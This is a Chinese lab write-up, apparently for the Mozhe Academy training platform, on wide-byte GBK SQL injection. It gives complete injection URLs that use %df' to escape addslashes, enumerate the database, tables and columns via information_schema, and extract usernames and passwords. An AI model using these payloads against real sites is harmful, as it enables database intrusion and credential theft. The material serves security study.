当前位置: 首页 > news >正文

墨者:SQL注入漏洞测试(宽字节)

墨者学院:SQL注入漏洞测试(宽字节)🚀

1. 宽字节注入原理✨

1.1. 与普通注入对比⭐

特性普通注入宽字节注入
适用场景无转义处理使用addslashes()等转义函数
核心原理直接闭合引号利用GBK等编码吞掉转义符\
关键字符' " -- #%df' %5c'
防御难度易防御需调整字符集或过滤策略

1.2. 技术本质🔍

当数据库使用GBK等宽字符集时:

原始输入:id=1%df' 
转义后:1%df\' → GBK将%df\解析为繁体字"運" → 成功逃逸单引号

2. 工具准备🔧

ASCII转16进制工具:https://coding.tools/cn/ascii-to-hex

3. 渗透测试全流程🎯

3.1. 探测注入点⚡

http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2--+

成功返回错误页面,确认存在宽字节注入
在这里插入图片描述

3.2. 确定字段数⚡

http://124.70.71.251:47481/new_list.php?id=1%df' order by 6--+

order by 6时报错,确认字段数为5
在这里插入图片描述

3.3. 定位回显位⚡

http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2 union select 1,2,3,4,5--+

页面显示数字3、5为回显位
在这里插入图片描述

3.4. 枚举数据库⚡

http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2 union select 1,2,database(),4,5--+

获取数据库名:mozhe_discuz_stormgroup
在这里插入图片描述

3.5. 枚举表名⚡

http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--+

关键表:stormgroup_member
在这里插入图片描述

3.6. 列名获取(Hex编码)⚡

# 将表名转换为Hex
"stormgroup_member"0x73746f726d67726f75705f6d656d626572
http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name=0x73746f726d67726f75705f6d656d626572--+

获取列:id,name,password
在这里插入图片描述

3.7 数据提取⚡

http://124.70.71.251:47481/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(password),4,group_concat(name) from stormgroup_member--+

成功获取账号密码数据
在这里插入图片描述

4. 关键参数解析表⭐

参数作用示例值
%df'宽字节逃逸转义符id=1%df'
order by x探测字段数order by 6--+
group_concat()聚合查询结果group_concat(table_name)
0xHEX十六进制编码绕过过滤0x73746f726d67726f75705f6d656d626572
information_schemaMySQL元数据库获取表/列信息

5. 参考声明📌

本文参考文章地址: https://blog.csdn.net/2301_77578012/article/details/138870423


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.dtcms.com/a/302054.html

相关文章:

  • IDEA 手动下载安装数据库驱动,IDEA无法下载数据库驱动问题解决方案,IDEA无法连接数据库解决方案(通用,Oracle为例)
  • 自学嵌入式 day36 数据库
  • 《Go Web编程实战派--从入门到精通》的随笔笔记
  • 当非洲爱上“中国制造”:如何赢在起跑线
  • 【Oracle】闪回相关操作
  • UV安装并设置国内源
  • easyexcel填充方式导出-合并单元格并设置边框
  • QML QtCharts 极坐标图(PolarChartView)
  • 【WRF-Chem第二期】WRF-Chem有关 namelist 详解
  • 学习lxml库:Python XML/HTML处理利器
  • 安宝特方案丨智能革新安全管控:AR技术赋能物流仓储行业安全升级
  • C++中既重要又困难的部分—类和对象
  • Pandas 里的分箱操作
  • 《Linux服务与安全管理》| samba服务器配置匿名模式
  • 数据结构——图(二、图的存储和基本操作)
  • 跨境协作系统文化适配:多语言环境下的业务符号隐喻与交互习惯
  • 设计模式(二十)行为型:观察者模式详解
  • 常用设计模式系列(十五)—解释器模式
  • 修改CentOS的SSH登录端口(22端口)
  • python任意模块间采用全局字典来实现借用其他类对象的方法函数来完成任务或数据通信的功能
  • STM32入门之DMA直接存储器存取
  • 第4章唯一ID生成器——4.3 基于时间戳的趋势递增的唯一ID
  • Java 排序
  • LeetCode 刷题【18. 四数之和】
  • Flutter实现Android原生相机拍照
  • 如何在技术世界中保持清醒和高效
  • iphone手机使用charles代理,chls.pro/ssl 后回车 提示浏览器打不开该网页
  • NI Ettus USRP X440 软件无线电
  • 免费 SSL 证书申请简明教程,让网站实现 HTTPS 访问
  • PyTorch 使用指南